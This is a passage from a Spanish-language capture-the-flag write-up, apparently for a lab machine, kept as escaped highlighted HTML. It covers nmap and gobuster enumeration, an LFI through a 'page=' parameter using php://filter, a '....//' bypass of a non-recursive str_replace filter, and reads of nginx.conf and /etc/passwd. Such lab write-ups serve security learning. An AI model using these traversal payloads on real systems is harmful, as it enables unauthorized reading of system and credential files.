&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;3072&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;77&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b2&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;57&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c2&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;3c&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;bf&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;62&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;76&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ea&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;81&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;e4&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;69&lt;/span&gt; (RSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkfdfWGso2b9nD1yYlcq35Rrc1OCqcabTsuKoIlCXMayYEXqqWVohwu+rXyX06gzGR4EYp/fvb1BUo7n819iCzKhFjf2W2RHWfBne9TpRShBtQJ95oQhM6djuEahYzOTWiO1wTYqMdZQwANin/HXPIu2i+KoeeeOPL6g0qE2e4pMKI+BDo4SteVObt3ssP5NLTmNOSqVqKoFnUTNNnyqlwcbO67tRVINku2Kc6LH/HV0XBGjVqMmwfz3MokaBmAqTpn2td6x7CKcPRfiRgIB5AqkePgqHZl8Wn+TdsG6gziPJ6+NVcvadMJ2ErsJLuchds0ZNToG3P879UTFUrF9Qn+Z0TiTN7X0FgbOGG6u7iaN/r4NP0t2qmp2rS+se+Q/j21T4jBFJOXxqjRWQvGfayIKic4Enkxwv5WvAd3uNm9R/WEIxf7Ol0eMK39fUdfElOTViPNOyW/vT6gA9DxcBZM/X1xPgC1XqNKs0mdA1cZY34BQVffDQ2carfW9JzBb8=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; cb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;09&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;2a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;1b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;65&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;75&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;94&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;dd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ba&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;28&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;5b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;d2 (ECDSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKT7918Wsxx40zkqP9APcaPrC5DXZf5yJdrTvgykTvijs34VtZ+QnelzftO5kayBMgNgnOe1e6lj/VKK4l+38OU=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f0&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a8&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;63&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;29&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ae&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;66&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;cd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;6b (ED25519)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOvB+7fNvrbSjtwto1GCaTWqRasmSlmx+oz5dveP8m5/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; nginx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-title&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Agency - Start Bootstrap Theme
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_Requested resource was /index.php&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;page=&lt;span style="color:#66d9ef"&gt;default&lt;/span&gt;.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-favicon: Unknown favicon MD5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 556F31ACD686989B1AFCF382C05846AA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; GET HEAD POST
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Linux; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:linux&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/f635da96-fd19-4a1e-9a45-e863f4a7c6b0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En la web, por defecto no hay mucho, así que toca hacer fuzzing.&lt;/p&gt;
&lt;h3 id="fuzzing-y-descubrimiento-de-betahtml"&gt;Fuzzing y descubrimiento de &lt;code&gt;beta.html&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Encontramos un &lt;code&gt;beta.html&lt;/code&gt; en el fuzzing de directorios.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gobuster dir -u
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.71.227
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -w /usr/share/dirb/wordlists/common.txt -x php,html -q
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/assets (Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;301&lt;/span&gt;) [Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;162&lt;/span&gt;] [--&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.71.&lt;span style="color:#ae81ff"&gt;227&lt;/span&gt;/assets/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/beta.html (Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;) [Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4144&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/css (Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;301&lt;/span&gt;) [Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;162&lt;/span&gt;] [--&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.71.&lt;span style="color:#ae81ff"&gt;227&lt;/span&gt;/css/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/&lt;span style="color:#66d9ef"&gt;default&lt;/span&gt;.html (Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;) [Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11414&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/896adb3b-a31f-4d3d-a679-7063af09df73.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="lfi-en-page-con-phpfilter"&gt;LFI en &lt;code&gt;page=&lt;/code&gt; con &lt;code&gt;php://filter&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Vemos que en el endpoint principal hay un parámetro modificable &lt;code&gt;page=&lt;/code&gt;. El comportamiento sugiere LFI usando &lt;code&gt;php://filter/read=convert.base64-encode/resource=...&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/41fedc4e-e723-4e3c-9a48-5daab50fb187.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Al leer &lt;code&gt;default.html&lt;/code&gt; en Base64, simplemente decodificando obtenemos el contenido en texto claro.&lt;/p&gt;
&lt;p&gt;Hay un filtro que intenta evitar el típico &lt;code&gt;../..&lt;/code&gt;, pero se puede bypassear con doble barra &lt;code&gt;..//..&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8028-ab09-c2cad89be2f7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="intento-de-log-poisoning-no-viable"&gt;Intento de Log Poisoning (no viable)&lt;/h3&gt;
&lt;p&gt;Probamos log poisoning leyendo:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;php://filter/read=convert.base64-encode/resource=/var/log/nginx/access.log&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;php://filter/read=convert.base64-encode/resource=/var/log/nginx/error.log&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pero no funciona, porque la función no interpreta PHP, solo devuelve el archivo literalmente.&lt;/p&gt;
&lt;h3 id="bypass-del-filtro-por-str_replace-no-recursivo"&gt;Bypass del filtro (por &lt;code&gt;str_replace&lt;/code&gt; no recursivo)&lt;/h3&gt;
&lt;p&gt;Aquí está el problema.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-800d-959a-e3ef61bf7f35.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Esto busca la cadena &lt;code&gt;../&lt;/code&gt; y la elimina.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;La vulnerabilidad:&lt;/strong&gt; &lt;code&gt;str_replace&lt;/code&gt; &lt;strong&gt;no es recursivo&lt;/strong&gt;. Solo lo hace una vez.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;El bypass:&lt;/strong&gt; si se envía &lt;code&gt;....//&lt;/code&gt;, el sistema elimina los dos caracteres del medio (&lt;code&gt;../&lt;/code&gt;) y une los extremos, creando un nuevo &lt;code&gt;../&lt;/code&gt; que el sistema ya no revisa.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80a1-8f69-c789533b4854.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="archivos-interesantes-vía-lfi"&gt;Archivos interesantes vía LFI&lt;/h3&gt;
&lt;p&gt;Con el LFI ya podemos extraer rutas/configuraciones. Por ejemplo:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nginx.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user www-data;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;worker_processes auto;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pid /run/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nginx.pid
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;include /etc/nginx/modules-enabled/*.conf;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;events {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; worker_connections &lt;span style="color:#ae81ff"&gt;768&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sendfile on;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tcp_nopush on;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; types_hash_max_size &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; server_tokens off;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; server_names_hash_bucket_size &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; server_name_in_redirect off;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; include /etc/nginx/mime.types;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; default_type application/octet-stream;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; access_log /var/log/nginx/access.log;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; error_log /var/log/nginx/error.log;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; gzip on;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; include /etc/nginx/conf.d/*.conf;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; include /etc/nginx/sites-enabled/*;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y también &lt;code&gt;/etc/passwd&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;root&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/root&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;daemon&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;daemon&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;bin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sys&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;sys&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/dev&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sync&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;65534&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;sync&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin/sync
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;games&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;60&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;games&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/games&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;man&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;man&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/cache/man&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;lp&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;lp&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/spool/lpd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mail&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;mail&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/mail&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;news&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;news&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/spool/news&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uucp&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;uucp&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/spool/uucp&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;proxy&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;13&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;13&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;proxy&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;www-data&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;33&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;33&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;www-data&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/www&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;backup&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;34&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;34&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;backup&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/backups&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
